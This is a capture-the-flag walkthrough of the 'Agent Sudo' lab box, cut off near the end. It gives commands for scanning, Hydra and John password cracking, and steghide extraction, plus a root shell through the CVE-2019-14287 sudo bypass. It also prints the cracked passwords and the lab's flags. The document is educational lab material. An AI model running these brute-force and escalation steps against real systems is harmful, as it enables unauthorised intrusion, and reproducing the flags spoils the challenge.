Understanding Cybersecurity CTF: Agent Sudo

This Capture The Flag (CTF) challenge simulates a real-world penetration testing scenario where you infiltrate a classified server using enumeration, hash cracking, brute-force attacks, and privilege escalation. Agent Sudo tests your ability to identify vulnerabilities, exploit weak credentials, and escalate privileges to gain full system control—essential skills for ethical hacking and cybersecurity professionals.

Challenge Objectives

• Enumerate open ports, services, and hidden directories to map the attack surface
• Crack hashes and brute-force passwords for FTP, ZIP files, and SSH access
• Escalate privileges by exploiting system vulnerabilities to gain root access
• Retrieve flags (user and root) to complete the challenge successfully

---

Phase 1: Enumeration and Reconnaissance

Enumeration is the foundation of any penetration test. This phase involves scanning the target system to identify active services, open ports, and potential entry points.

Port Scanning with Nmap

Use nmap to discover open ports and running services:

nmap -sV -Pn -O -p- 10.10.209.115

Scan Results:

Port	Service	Version
21	FTP	vsftpd 3.0.3
22	SSH	OpenSSH 7.6p1 Ubuntu
80	HTTP	Apache httpd 2.4.29 (Ubuntu)

Key Finding: Three open ports identified—FTP (21), SSH (22), and HTTP (80). The web server on port 80 is the primary entry point.

Directory Brute-Forcing

Use Gobuster to discover hidden directories on the web server:

gobuster dir --url http://10.10.209.115 --wordlist /usr/share/wordlists/dirb/common.txt

Discovered Directories:

• /.htpasswd
• /.hta
• /.htaccess
• /index.php
• /server-status

User-Agent Investigation

Visiting http://10.10.209.115/index.php reveals a message:

Dear agents, Use your own codename as user-agent to access the site. From, Agent R

Testing single-letter user-agents reveals the correct codename:

curl -A "C" -L 10.10.209.115

Response:

Attention chris, Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak! From, Agent R

First Credential Discovered: Username is chris

---

Phase 2: Credential Attacks and Data Extraction

With a valid username identified, the next phase focuses on cracking passwords and extracting hidden data from files.

FTP Password Brute-Force

Use Hydra to crack the FTP password for user chris:

hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.209.115 ftp -I -V

Result:

[21][ftp] host: 10.10.209.115   login: chris   password: crystal

FTP Credentials: chris:crystal

File Download and Analysis

Connect to FTP and download available files:

• cute-alien.jpg
• cutie.png

Use binwalk to analyze cutie.png for hidden data:

binwalk -e cutie.png

Discovery: A password-protected ZIP file (8702.zip) is embedded in the image.

ZIP File Password Cracking

Use John the Ripper to crack the ZIP password:

zip2john 8702.zip > zip_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt

Result: ZIP password is alien

Steganography Extraction

Extract the ZIP contents to find a base64-encoded message:

echo "QXJlYTUx" | base64 --decode

Output: Area51

Use steghide with the password Area51 to extract hidden data from cute-alien.jpg:

steghide extract -sf cute-alien.jpg

Extracted Message:

Hi james, Glad you find this message. Your login password is hackerrules! Don't ask me why the password looks cheesy, ask agent R who set this password for you. Your buddy, chris

SSH Credentials Discovered: james:hackerrules!

---

Phase 3: Initial Access and User Flag

With valid SSH credentials, establish a connection to the target system.

SSH Connection

ssh james@10.10.209.115

User Flag Retrieval

Navigate to the home directory and retrieve the user flag:

cat user_flag.txt

User Flag: b03d975e8c92a7c04146cfa7a5a313c7

Additional Investigation

The file Alien_autospy.jpg contains metadata referencing a famous incident. Analyzing the image reveals it relates to the Roswell alien autopsy.

---

Phase 4: Privilege Escalation to Root

Privilege escalation involves exploiting system misconfigurations or vulnerabilities to gain administrative (root) access.

Sudo Permission Analysis

Check sudo privileges for user james:

sudo -l

Output:

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

Critical Vulnerability: The !root restriction can be bypassed using CVE-2019-14287, a security flaw in sudo versions before 1.8.28.

Exploiting CVE-2019-14287

This vulnerability allows users to execute commands as root by specifying user ID -1:

sudo -u#-1 /bin/bash

Result: Root shell access granted.

Root Flag Retrieval

Navigate to the root directory and retrieve the final flag:

cat /root/root.txt

Root Flag Message:

To Mr. hacker, Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. Your flag is b53a02f55b57d4439e3341834d70c062 By, DesKel a.k.a Agent R

Agent R's Identity: DesKel

---

Key Takeaways

Enumeration Best Practices:

• Always perform comprehensive port scanning to identify all services
• Use directory brute-forcing to discover hidden web content
• Investigate unusual server responses and headers

Password Security Lessons:

• Weak passwords are easily cracked with tools like Hydra and John the Ripper
• Default or simple passwords create critical vulnerabilities
• Password reuse across services amplifies risk

Steganography Techniques:

• Hidden data can be embedded in images using tools like steghide
• binwalk is effective for detecting embedded files in images
• Always analyze file metadata and structure

Privilege Escalation Strategies:

• Check sudo permissions with sudo -l as a first step
• Research known CVEs for installed software versions
• Keep systems updated to prevent exploitation of known vulnerabilities

CVE-2019-14287 Specifics:

• Affects sudo versions before 1.8.28
• Allows privilege escalation through user ID manipulation
• Demonstrates the importance of regular security updates

---

Tools Used in This Challenge

Tool	Purpose	Command Example
Nmap	Port scanning and service detection	nmap -sV -Pn -O -p- [target]
Gobuster	Directory brute-forcing	gobuster dir --url [target] --wordlist [list]
Hydra	Password brute-